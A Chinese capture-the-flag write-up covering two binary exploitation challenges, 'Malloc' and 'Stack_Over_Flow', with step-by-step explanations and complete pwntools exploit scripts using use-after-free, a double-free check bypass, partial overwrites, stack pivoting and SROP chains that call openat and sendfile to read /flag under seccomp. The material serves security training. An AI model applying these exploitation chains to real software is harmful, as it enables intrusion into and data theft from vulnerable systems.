Malloc
checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
有沙箱,禁用了execve和execveat
$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
这题不是 glibc 原生堆,而是程序自己在 .bss 上写了一个小型 allocator
之前很容易先入为主往 __free_hook、stdout、tcache/fastbin 上想,但这题真正被操作的是程序自己维护的那一小块 .bss heap,不是 glibc 的用户堆
.bss
0x4040 fastbin_head[0x10]
fastbin_head[2] -> size 0x20 chunk 链
fastbin_head[3] -> size 0x30 chunk 链
...
0x5200 custom heap start
top chunk 初始也在这里
chunk0 header
0x5210 chunk0 user
chunk1 header
0x5240 chunk1 user
...
0x6200 ptr[0]
0x6208 ptr[1]
...
0x6278 ptr[15]
0x6280 size[0]
0x6288 size[1]
...
注意最后这一点:
ptr 数组从 0x6200 开始,size 数组从 0x6280 开始
0x6200 ~ 0x6278 一共只有 16 个 qword
0x6280 已经是 size[0]
所以我们真正安全可控的 ptr 槽位是 ptr[0..15]。 再往后就和 size[] 重叠了。
对于请求大小 0x20,实际 chunk 大小会被对齐成 0x30
chunk @ header
+0x00 used flag (1 byte)
+0x08 chunk size (dword)
+0x10 user data
free 后:
+0x10 这里会被拿来存 next 指针
也就是说,free 之后 user 区前 8 字节其实就是单链表的 fd
delete(idx) 里 free 完以后只清空了 size[idx],没有把 ptr[idx] 置空,uaf
结果就是:
show(idx) 仍然能读 freed chunk
edit(idx) 只要我们把 size[idx] 改回非 0,还能继续写 freed chunk
这就是整个利用的基础
自定义 free() 会检查 fastbin 单链表里是否已经出现当前 chunk,想拦 double free。
但它只查前 14 个节点:
while (cnt <= 13 && cur) {
if (cur == victim) abort();
cur = cur->fd;
cnt++;
}
所以如果链表长度够长,让目标 chunk 落到第 15 个位置之后,再次 free 就能绕过检查。
show() 不是按 size[idx] 输出,而是直接:
puts((char *)ptr[idx]);
这意味着:
它是一个“字符串泄漏”,遇到 \x00 或 \n 会提前停,但用来泄漏 .bss 地址、栈地址、environ 这种前几个字节非零的指针已经够用了
整体思路分成五步:
- 先通过 UAF 从 freed chunk 里泄漏 PIE
- 再通过 double free 做一个 fake chunk 到
size[] - 把
size[0]改大,让edit(0)变成跨区溢出 - 重写
ptr[]和size[],拿到任意读写 - 泄漏栈,覆写返回地址,用 SROP 做
openat("/flag") + sendfile(1, fd, 0, 0x100)
先申请 15 个 0x20 chunk,再按顺序全部 free。
由于 0x20 实际会变成 0x30,所以 chunk 排布是连续的:
heap @ 0x5200
chunk0 @ 0x5200
chunk1 @ 0x5230
chunk2 @ 0x5260
...
chunk13 @ 0x5470
chunk14 @ 0x54a0
free 完后的 fastbin 链:
head -> 14 -> 13 -> 12 -> ... -> 1 -> 0
此时 ptr[14] 还指向 chunk14 的 user 区。 而 chunk14 被 free 时,它的 user 前 8 字节已经被写成了 old head,也就是 chunk13 header。
所以:
show(14) -> 读到 chunk13 header 地址
然后按已知偏移反推出 PIE:
pie = leak – (0x5200 + 13 * 0x30)
这就是 exp 里:
leak = uu64(show(14))
exe.address = leak - (HEAP + 13 * REAL)
现在链表是:
head -> 14 -> 13 -> 12 -> ... -> 1 -> 0
再执行一次 delete(0) 之后:
head -> 0 -> 14 -> 13 -> 12 -> ... -> 1 -> 0
示意图:
before:
head
|
v
[14] -> [13] -> [12] -> ... -> [1] -> [0] -> NULL
after delete(0) again:
head
|
v
[0] -> [14] -> [13] -> [12] -> ... -> [1] -> [0] -> NULL
^ |
+------------------------------------------+
检查逻辑只往后扫 14 个节点。
从新 head chunk0 开始,后面 14 个正好只会扫到 14,13,...,1,扫不到链尾那个旧的 0,于是绕过检测。
再申请一次 chunk0,拿到双链中的第一个 chunk0。
由于当前 chunk0 user 区和链尾那个旧 chunk0 是同一块内存,所以我们 edit 当前 chunk0,本质上就是在改链尾 chunk0 的 fd。
edit(0, p64(exe.address + SIZE_ARR - 0x10))
这样链表尾部就变成:
... -> chunk1 -> chunk0 -> fake(size_arr - 0x10)
随后连续申请:
idx=1..15 依次吃掉 14..0
idx=16 会拿到 fake chunk
因为 allocator 返回的是 header + 0x10,所以 idx=16 最终拿到的就是:
(size_arr - 0x10) + 0x10 = size_arr
也就是 ptr[16] = &size[0]
拿到 idx=16 以后,它实际指向的是 size[]
于是我们先写:
edit(16, flat(0x4000, 0x400, 0x400, 0x400))
对应:
size[0] = 0x4000
size[1] = 0x400
size[2] = 0x400
size[3] = 0x400
此时 ptr[0] 还是最开始的 chunk0 user,但是它的大小已经被改成 0x4000 了。
所以 edit(0, huge_payload) 就不再只是写 chunk0,而是可以一路覆盖后面的元数据区。
示意图:
chunk0 user
|
v
+--------------------+--------------------+--------------------+
| chunk1 / chunk2... | ptr[] | size[] |
+--------------------+--------------------+--------------------+
^ ^
| |
我们最终要改这里 也要一起改这里
现在 edit(0) 已经能覆盖到 ptr[] 和 size[],就可以把指定槽位改造成任意地址
exp 里这一步做成了
set_layout():
def set_layout(ptrs=None, sizes=None):
ptr = [0] * 16
size = [0] * 17
ptr[0] = exe.address + CHUNK0
size[0] = 0x4000
...
之后:
- 把
ptr[1] = addr,size[1] = 0x100 show(1)就是任意读edit(1, data)就是任意写
ptr[15] @ 0x6278
size[0] @ 0x6280
ptr[16] 已经和 size[0] 重叠了。
所以 exp 里 ptr 数组故意只开了 16 个元素。
拿到 libc 基址后,读 libc.sym.environ 即可拿到当前栈上的环境变量指针。
env = uu64(aar(libc.sym.environ))
我们还不知道当前这一轮 show() / edit() 的 saved RIP 在哪里
但我们知道:
它一定在 environ 附近的栈上
show() 返回到 main 后的地址是固定的
这个固定地址就是:
SHOW_RET = pie + 0x1ac9
于是直接从 environ 往下扫一段,找到等于 SHOW_RET 的那一格,就是当前调用帧的 saved RIP。
示意图:
high addr
environ -----> 0x7fffffffe...
--------------
saved rbp
saved rip of show <--- 我们要找的就是它
local vars
...
low addr
exp 里扫描逻辑就是:
for base in range(0x100, 0x220, 15 * 8):
...
if uu64(show(i)) == want:
return ptrs[i]
本地验证过,最终 show 和最后一轮 edit 的 saved RIP 相对 environ 偏移是一样的,所以这个槽位可以直接复用
这题二进制本体 gadget 很少,直接在程序里攒 ORW ROP 很别扭
但 libc 里有:
pop rax ; ret
syscall ; ret
这已经足够做 SROP 了。
而且本地 seccomp 只拦:execve,execveat
所以最稳的方案就是:
openat(AT_FDCWD, "/flag", 0, 0)sendfile(1, fd, 0, 0x100)exit_group(0)
这样不仅能直接把 flag 打到 stdout,还不用再额外申请缓冲区做 read/write。
最终 SROP 链
exp 里核心 helper:
def sigrop(next_rsp, **regs):
frame = SigreturnFrame()
frame.rsp = next_rsp
frame.rip = syscall
...
return flat(pop_rax, constants.SYS_rt_sigreturn, syscall, bytes(frame))
然后串 3 段:
stage1: openat(AT_FDCWD, "/flag", 0, 0)
stage2: sendfile(1, 3, 0, 0x100)
stage3: exit_group(0)
栈上的样子大概是:
saved RIP
|
v
+-------------------+
| sigreturn frame 1 | -> openat("/flag")
+-------------------+
| sigreturn frame 2 | -> sendfile(1, 3, 0, 0x100)
+-------------------+
| sigreturn frame 3 | -> exit_group(0)
+-------------------+
同时再把一个槽位指到 scratch 区,写入字符串:”/flag\x00″
最后覆写 saved RIP,触发 edit() 返回,整条链就开始跑。
exp
#!/usr/bin/env python3
from pwn import *
context.binary = exe = ELF("./pwn", checksec=False)
context.arch = "amd64"
context.log_level = "debug" if args.D else "info"
menu = b"=======================\n"
HEAP = 0x5200
CHUNK0 = HEAP + 0x10
PTR_ARR = 0x6200
SIZE_ARR = 0x6280
REAL = 0x30
SHOW_RET = 0x1AC9
p = None
libc = None
def b(x):
if isinstance(x, (bytes, bytearray)):
return bytes(x)
return str(x).encode()
def start():
if args.GDB:
return gdb.debug(exe.path, gdbscript="c")
return process(exe.path)
def cmd(c):
p.sendline(b(c))
def add(idx, size):
cmd(1)
p.sendlineafter(b"Index\n", b(idx))
p.sendlineafter(b"size\n", b(size))
p.recvuntil(b"Success\n")
p.recvuntil(menu)
def delete(idx):
cmd(2)
p.sendlineafter(b"Index\n", b(idx))
p.recvuntil(b"Success\n")
p.recvuntil(menu)
def edit(idx, data, wait_menu=True):
cmd(3)
p.sendlineafter(b"Index\n", b(idx))
p.sendlineafter(b"size\n", b(len(data)))
p.send(data)
p.recvuntil(b"Success\n")
if wait_menu:
p.recvuntil(menu)
def show(idx):
cmd(4)
p.sendlineafter(b"Index\n", b(idx))
data = p.recvuntil(b"\nSuccess\n", drop=True)
p.recvuntil(menu)
return data
def uu64(x):
return u64(x[:8].ljust(8, b"\x00"))
def setup():
for i in range(15):
add(i, 0x20)
for i in range(15):
delete(i)
leak = uu64(show(14))
exe.address = leak - (HEAP + 13 * REAL)
log.success("pie = %#x" % exe.address)
delete(0)
add(0, 0x20)
edit(0, p64(exe.address + SIZE_ARR - 0x10))
for i in range(1, 16):
add(i, 0x20)
add(16, 0x20)
edit(16, flat(0x4000, 0x400, 0x400, 0x400))
def set_layout(ptrs=None, sizes=None):
if ptrs is None:
ptrs = {}
if sizes is None:
sizes = {}
ptr = [0] * 16
size = [0] * 17
ptr[0] = exe.address + CHUNK0
size[0] = 0x4000
for k, v in ptrs.items():
ptr[k] = v
for k, v in sizes.items():
size[k] = v
payload = b"A" * (PTR_ARR - CHUNK0)
payload += flat(ptr)
payload = payload.ljust(SIZE_ARR - CHUNK0, b"B")
payload += flat(size)
edit(0, payload)
def aar(addr):
set_layout({1: addr}, {1: 0x100})
return show(1)
def aaw(addr, data):
set_layout({1: addr}, {1: len(data)})
edit(1, data)
def get_libc():
global libc
maps = p.libs()
libc_path = next(path for path in maps if "libc.so.6" in path)
libc = ELF(libc_path, checksec=False)
libc.address = maps[libc_path]
log.success("libc = %#x" % libc.address)
def get_environ():
env = uu64(aar(libc.sym.environ))
log.success("environ = %#x" % env)
return env
def find_saved_rip(env):
want = exe.address + SHOW_RET
for base in range(0x100, 0x220, 15 * 8):
ptrs = {}
sizes = {}
for i in range(1, 16):
ptrs[i] = env - base - (i - 1) * 8
sizes[i] = 0x100
set_layout(ptrs, sizes)
for i in range(1, 16):
if uu64(show(i)) == want:
rip = ptrs[i]
log.success("saved rip = %#x" % rip)
return rip
raise RuntimeError("saved rip not found")
def build_chain(saved_rip, scratch):
rop = ROP(libc)
pop_rax = rop.find_gadget(["pop rax", "ret"]).address
syscall = next(libc.search(asm("syscall; ret")))
def sigrop(next_rsp, **regs):
frame = SigreturnFrame()
frame.rsp = next_rsp
frame.rip = syscall
for k, v in regs.items():
setattr(frame, k, v)
return flat(pop_rax, constants.SYS_rt_sigreturn, syscall, bytes(frame))
stage_len = len(sigrop(0, rax=0))
chain = b""
chain += sigrop(
saved_rip + stage_len,
rax=constants.SYS_openat,
rdi=0xFFFFFFFFFFFFFF9C,
rsi=scratch,
rdx=0,
r10=0,
)
chain += sigrop(
saved_rip + stage_len * 2,
rax=constants.SYS_sendfile,
rdi=1,
rsi=3,
rdx=0,
r10=0x100,
)
chain += sigrop(
scratch + 0x200,
rax=constants.SYS_exit_group,
rdi=0,
)
return chain
def pwn():
setup()
get_libc()
env = get_environ()
saved_rip = find_saved_rip(env)
scratch = exe.address + CHUNK0 + 0x400
chain = build_chain(saved_rip, scratch)
set_layout({2: saved_rip, 3: scratch}, {2: len(chain), 3: 0x10})
edit(3, b"/flag\x00")
log.info("smash stack and run srop")
edit(2, chain, wait_menu=False)
print(p.recvrepeat(1).decode("latin-1", errors="replace"))
if __name__ == "__main__":
p = start()
p.recvuntil(menu)
pwn()
Stack_Over_Flow
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
表面上看像栈溢出,实际上程序把输入读到堆上,然后主动把 rsp 切到堆上的一块 fake stack 上执行。所以这题真正要抓住的点不是“普通 ret2libc”,而是:
- 利用堆上伪栈劫持流程
- 用一字节 partial overwrite 拿到 PIE
- 用 SROP 在极少 gadget 的情况下做寄存器控制
- 在 seccomp 限制下走
openat + sendfile读/flag
另外程序还开了 seccomp:
$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000002 if (A == open) goto 0015
0006: 0x15 0x08 0x00 0x00000003 if (A == close) goto 0015
0007: 0x15 0x07 0x00 0x0000003b if (A == execve) goto 0015
0008: 0x15 0x06 0x00 0x00000142 if (A == execveat) goto 0015
0009: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0014
0010: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0011: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0015
0012: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0013: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
程序 seccomp_init(ALLOW) 之后又单独加了几条规则
实际效果可以概括成:
syscall 状态
-----------------------------------------
execve 禁止
execveat 禁止
open 禁止
close 禁止
read 仅允许 fd == 0
其他 默认允许
但还能用:
openatwritesendfile
程序启动后会做这些关键动作:
malloc(0x1000)申请一块堆内存。- 把全局输入指针改成
heap - 0x2a0。 - 把 fake stack 指针设成
buf + 0x100。 - 预先在 fake stack 上写好两个值:
[fake_stack + 0x0] = buf + 0x1000[fake_stack + 0x8] = 0x132e
然后主读入函数 0x161f 会做:
read(0, buf, 0x2000)
...
mov rbp, fake_stack
mov rsp, rbp
xor rax, rax
pop rbp
ret
也就是说,程序不是直接在真实栈上读数据,而是:
- 把
0x2000字节读到堆上 - 再把
rsp切到堆上的 fake stack - 然后
ret
这就意味着我们能在堆上“伪造一个完整栈帧”
程序初始化后的关键区域关系大概如下:
heap chunk (malloc(0x1000))
┌──────────────────────────────────────────────┐
│ heap_base │
│ │
│ ... │
│ │
└──────────────────────────────────────────────┘
buf = heap_base - 0x2a0
fake_stack = buf + 0x100 = heap_base - 0x1a0
对应关系:
buf 区域
┌──────────────────────────────────────────────┐
│ buf + 0x000 : 可控输入开始 │
│ │
│ buf + 0x100 : fake_stack 起点 │
│ [0x00] = buf + 0x1000 │
│ [0x08] = 0x132e │
│ │
│ ... │
│ │
│ buf + 0x1000 : 默认下一段 rsp 落点 │
└──────────────────────────────────────────────┘
读入结束后实际执行的是:
read(0, buf, 0x2000)
|
v
rsp = fake_stack
pop rbp
ret -> 取 fake_stack+0x8 作为返回地址
所以 fake stack 上的内容才是真正的控制流核心
程序默认 fake stack 上的返回地址是 0x132e,这个位置会直接打印 bye~ 然后退出。
但因为我们能覆盖 fake stack 周围的内容,所以可以改掉这个返回地址
默认执行流:
read(0, buf, 0x2000)
->
rsp = fake_stack
->
ret 到 0x132e
->
puts("bye~")
->
exit
目标执行流:
read(0, buf, 0x2000)
->
rsp = fake_stack
->
ret 到 0x1357
->
printf("magic number:%lld\n", xxx)
->
再次调用 0x161f
也就是把程序从“直接退出”改成“泄露 PIE 后重新读入”
默认返回地址低 2 字节是:0x132e
我们想去的是:0x1357
所以只需要改最低 1 字节:payload = b”A” * 0x108 + p8(0x57)
这个 partial overwrite 的思路可以画成:
fake_stack
┌──────────────────────────────┐
│ +0x00 : rbp │
│ +0x08 : 0x....132e │ <- 原返回地址
└──────────────────────────────┘
覆盖后
┌──────────────────────────────┐
│ +0x00 : rbp │
│ +0x08 : 0x....1357 │ <- 只改低 1 字节
└──────────────────────────────┘
初始化里会生成一个随机数 n,逻辑是:
rand() % 5
直到 n > 2
所以 n 只可能是:3和4
然后程序计算:magic = n * main_addr
所以拿到 magic 后,只需要试:
main = magic // 3
base = main – 0x16b0
或者:
main = magic // 4
base = main – 0x16b0
再检查:
base是否页对齐main低 12 位是否与0x16b0一致
即可得到 PIE 基址
程序 gadget 极少,几乎没有传统 pop rdi ; ret 这种主程序 gadget
但它有一个非常重要的 syscall 点:
0x134f : syscall
0x1351 : nop
0x1352 : add rsp, 8
0x1356 : ret
注意,这里不是常见的:
syscall ; ret
而是:
syscall ; add rsp, 8 ; ret
这意味着我们的 fake stack 布局必须额外适配这一个 add rsp, 8
程序从 0x161f 返回时会:
xor rax, rax
pop rbp
ret
于是可以构造下面这种“二连 syscall”:
[0x00] dummy
[0x08] syscall
[0x10] dummy
[0x18] syscall
[0x20] SigreturnFrame
执行过程:
ret到第一个syscall- 由于此时
rax = 0,所以执行的是read - 我们再发
15字节 read返回值是15,于是rax = 15- gadget 尾巴
add rsp, 8 ; ret,跳到第二个syscall - 此时
rax = 15,于是触发rt_sigreturn - 进入我们伪造的
SigreturnFrame
可以画成:
第一次 ret
|
v
syscall(rax=0) ------> read(0, ..., 15)
|
v
add rsp, 8 ; ret
|
v
syscall(rax=15) ------> rt_sigreturn(frame)
这就是这题整个利用链的核心
总体利用链
发送:
b"A" * 0x108 + p8(0x57)
效果:
0x132e -> 0x1357
程序输出:
magic number: xxxxxxxxx
Welcome to YCB2025!
Good luck!
这时我们已经:
- 拿到了 PIE 恢复所需的
magic - 进入了第二次
read
我们第二次输入写入的是一条 SROP 链,目标是:
read(0, base + 0x4200, 0x600)
rsp = base + 0x4200
也就是把执行流从“未知的堆地址”迁到“PIE 内可计算的可写地址”。
payload 逻辑:
buf + 0x100
┌──────────────────────────────────────┐
│ 0x00 : dummy rbp │
│ 0x08 : syscall │
│ 0x10 : dummy │
│ 0x18 : syscall │
│ 0x20 : SigreturnFrame(read -> 0x4200)│
└──────────────────────────────────────┘
然后额外发送 15 字节,触发这次 SROP
栈迁移到 base + 0x4200 后,我们再布置下一段:
- 再做一次 SROP
- 调
write(1, puts@got, 8)泄露 libc - 泄露完回到
0x161f再次读入
这一段的结构如下:
base + 0x4200
┌──────────────────────────────────────┐
│ 0x000 : xor rax,rax ; pop rbp ; ret │
│ 0x008 : ... │
│ 0x030 : SigreturnFrame(write puts@got)│
│ │
│ base + 0x4400 │
│ 0x000 : dummy │
│ 0x008 : 0x161f │
│ 0x100 : "/flag\x00" │
└──────────────────────────────────────┘
为什么这一段前面要先用一次 xor rax, rax ; pop rbp ; ret?
因为前一个 read 返回后,rax 已经不是 0 了。 如果此时直接进 syscall,执行的就不是我们想要的 read
所以这里要先清一次 rax,再复用“15 字节触发 sigreturn”的套路。
libc 泄露后直接:
puts_addr = u64(io.recvn(8))
libc_base = puts_addr - libc.sym["puts"]
泄露 libc 后,程序又会回到 0x161f。
这时再送一条 SROP:
read(0, base + 0x4600, 0x600)
rsp = base + 0x4600
作用就是给最终链腾一个干净、稳定、可计算的位置
最后一段在 base + 0x4600。
思路分两步:
- 先用 SROP 直接做一次
syscall(openat) - 再用 libc ROP 调
sendfile
第一步:SROP 调 openat
构造 frame:
rax = SYS_openat
rdi = AT_FDCWD
rsi = &"/flag"
rdx = 0
r10 = 0
rsp = base + 0x4600 + 0x200
rip = syscall
这里 rsi 指向的是我们提前放在 base + 0x4600 + 0x300 的 /flag\x00
第二步:把 openat 返回的 fd 塞进 esi
openat 返回值在 rax,而 sendfile 的第二个参数是 rsi
所以需要一个 gadget:
xchg eax, esi ; ret
做完以后:rsi = fd
再接 libc ROP:
pop rdi ; ret -> 1
pop rcx ; ret -> 0x100
ret -> 栈对齐
sendfile
因为:
rdi = 1表示输出到 stdoutrsi = fd是刚才 openat 返回的文件描述符rdx = 0在前面的 frame 里已经设好了rcx = 0x100作为 sendfile 的 count
最终效果:
sendfile(1, fd, 0, 0x100)
直接把 flag 打出来。
完整利用过程可以总结成下面这个图:
Stage 1
read -> partial overwrite -> 0x1357
-> leak magic
-> back to 0x161f
Stage 2
0x161f read -> SROP -> read to base+0x4200
Stage 3
base+0x4200 -> SROP -> write(puts@got, 8)
-> libc leak
-> back to 0x161f
Stage 4
0x161f read -> SROP -> read to base+0x4600
Stage 5
base+0x4600 -> SROP openat("/flag")
-> xchg eax, esi
-> libc sendfile(1, fd, 0, 0x100)
-> flag
exp
from pwn import *
context(os="linux", arch="amd64", log_level="info")
context.binary = elf = ELF("./pwn", checksec=False)
HOST = "127.0.0.1"
PORT = 9999
libc_path = "./libc.so.6" if args.REMOTE or args.GIVEN else "/lib/x86_64-linux-gnu/libc.so.6"
libc = ELF(libc_path, checksec=False)
SYS = 0x134F
SHOW_MAGIC = 0x1357
MAIN = 0x16B0
READ_LOOP = 0x161F
EXIT = 0x132E
XOR_RAX_POP_RBP_RET = 0x16A0
RW1 = 0x4200
RW2 = 0x4400
RW3 = 0x4600
AT_FDCWD = (-100) & 0xFFFFFFFFFFFFFFFF
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process([b"./pwn"])
def q(x):
return p64(x)
def lg(name, value):
log.success(f"{name}: {value:#x}")
def get_path():
path = args.PATH.encode() if args.PATH else b"/flag"
return path if path.endswith(b"\x00") else path + b"\x00"
def calc_base(magic):
for k in (3, 4):
if magic % k:
continue
main = magic // k
base = main - MAIN
if (base & 0xFFF) == 0 and (main & 0xFFF) == (MAIN & 0xFFF):
return base
raise ValueError(f"bad magic: {magic}")
def find_seq(binary, seq):
for seg in binary.executable_segments:
base = seg.header.p_vaddr
data = seg.data()
off = data.find(seq)
if off != -1:
return base + off
raise ValueError(f"gadget not found: {seq!r}")
def read_frame(base, dst):
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = dst
frame.rdx = 0x600
frame.rsp = dst
frame.rip = base + SYS
return bytes(frame)
def write_frame(base, addr, size, next_rsp):
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = 1
frame.rsi = addr
frame.rdx = size
frame.rsp = next_rsp
frame.rip = base + SYS
return bytes(frame)
def openat_frame(base, path_addr, next_rsp):
frame = SigreturnFrame()
frame.rax = constants.SYS_openat
frame.rdi = AT_FDCWD
frame.rsi = path_addr
frame.rdx = 0
frame.r10 = 0
frame.rsp = next_rsp
frame.rip = base + SYS
return bytes(frame)
def build_stage2(base):
return fit(
{
0x100: q(0),
0x108: q(base + SYS),
0x110: q(0),
0x118: q(base + SYS),
0x120: read_frame(base, base + RW1),
},
filler=b"A",
)
def build_stage3(base, path):
return fit(
{
0x000: q(0),
0x008: q(base + XOR_RAX_POP_RBP_RET),
0x010: q(0),
0x018: q(base + SYS),
0x020: q(0),
0x028: q(base + SYS),
0x030: write_frame(base, base + elf.got["puts"], 8, base + RW2),
RW2 - RW1 + 0x000: q(0),
RW2 - RW1 + 0x008: q(base + READ_LOOP),
RW2 - RW1 + 0x100: path,
},
filler=b"\x00",
)
def build_stage4(base):
return fit(
{
0x100: q(0),
0x108: q(base + SYS),
0x110: q(0),
0x118: q(base + SYS),
0x120: read_frame(base, base + RW3),
},
filler=b"\x00",
)
def build_stage5(base, libc_base, path):
pop_rdi = libc_base + find_seq(libc, b"\x5f\xc3")
pop_rcx = libc_base + find_seq(libc, b"\x59\xc3")
xchg_eax_esi = libc_base + find_seq(libc, b"\x96\xc3")
ret = libc_base + ROP(libc).find_gadget(["ret"]).address
sendfile = libc_base + libc.sym["sendfile"]
return fit(
{
0x000: q(0),
0x008: q(base + XOR_RAX_POP_RBP_RET),
0x010: q(0),
0x018: q(base + SYS),
0x020: q(0),
0x028: q(base + SYS),
0x030: openat_frame(base, base + RW3 + 0x300, base + RW3 + 0x200),
0x208: q(xchg_eax_esi),
0x210: q(pop_rdi),
0x218: q(1),
0x220: q(pop_rcx),
0x228: q(0x100),
0x230: q(ret),
0x238: q(sendfile),
0x240: q(base + EXIT),
0x300: path,
},
filler=b"\x00",
)
def main():
io = start()
path = get_path()
io.recvuntil(b"Good luck!\n")
stage1 = b"A" * 0x108 + p8(SHOW_MAGIC & 0xFF)
io.send(stage1)
io.recvuntil(b"magic number:")
magic = int(io.recvline().strip())
base = calc_base(magic)
lg("pie", base)
io.recvuntil(b"Good luck!\n")
io.send(build_stage2(base))
sleep(0.1)
io.send(b"A" * 15)
sleep(0.1)
io.send(build_stage3(base, path))
sleep(0.1)
io.send(b"B" * 15)
sleep(0.1)
puts_addr = u64(io.recvn(8))
libc_base = puts_addr - libc.sym["puts"]
lg("puts", puts_addr)
lg("libc", libc_base)
io.recvuntil(b"Good luck!\n")
io.send(build_stage4(base))
sleep(0.1)
io.send(b"C" * 15)
sleep(0.1)
io.send(build_stage5(base, libc_base, path))
sleep(0.1)
io.send(b"D" * 15)
print(io.recvrepeat(2).decode("latin-1", errors="ignore"))
if __name__ == "__main__":
main()









